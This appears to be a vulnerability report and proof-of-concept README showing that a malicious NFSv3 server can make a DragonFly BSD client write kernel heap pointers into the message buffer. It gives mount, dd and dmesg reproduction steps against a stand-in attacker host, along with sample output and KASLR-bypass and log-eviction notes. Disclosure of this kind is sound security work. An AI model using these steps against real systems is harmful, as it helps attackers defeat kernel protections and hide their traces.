# DF-0920 — PoC: NFS iod leaks heap pointer to msgbuf

## Goal

Demonstrate that `nfssvc_iod_reader` at `sys/vfs/nfs/nfs_iod.c:135`
unconditionally prints a kernel heap pointer (`struct nfsm_info *`) to the
kernel message buffer on the `EINPROGRESS` reply path, and that the path is
drivable by a malicious / misbehaving NFSv3 server.

## Files

- `bad_nfs_server.py` — minimal RPC/NFSv3 responder skeleton that returns
  `NFSERR_JUKEBOX` (== `NFSERR_TRYLATER`, value 10028) on every READ reply.
  Written in pure Python 3 with `rpc`-message hand-assembly so no extra
  package is required.

## Reproduce (controlled lab, attacker = server side)

1. Run the malicious server on `attacker.example.com` exporting `/export`:

   ```
   python3 bad_nfs_server.py
   ```

2. On the DragonFly client, mount and trigger async I/O:

   ```
   mount_nfs -v 3 attacker.example.com:/export /mnt
   dd if=/mnt/largefile of=/dev/null bs=8192
   ```

3. Read the leaked pointer:

   ```
   sysctl kern.msgbuf             # or: dmesg | grep "rxq: move info"
   ```

## Expected output

```
rxq: move info 0xffff800012345678 back to txq
rxq: move info 0xffff800012345ab0 back to txq
rxq: move info 0xffff800012345cd8 back to txq
...
```

A valid kernel heap address (`0xffff...`) appears in the message buffer on
every re-queued reply. The exact value will vary run-to-run; what matters is
that an unprivileged local user can read kernel heap pointers from `msgbuf`
without `kdebug`/`dtrace`, defeating KASLR as an enabling step for a separate
heap-corruption exploit.

## Notes

- This is an Info-severity finding (KASLR bypass / log-evasion). No privilege
  escalation on its own.
- A read of `kern.msgbuf` works for any local user when
  `security.bsd.unprivileged_read_msgbuf=1` (default on many desktop setups).
- The flood can also evict prior kernel diagnostic messages from the ring
  buffer, providing a log-evasion path to a malicious server.
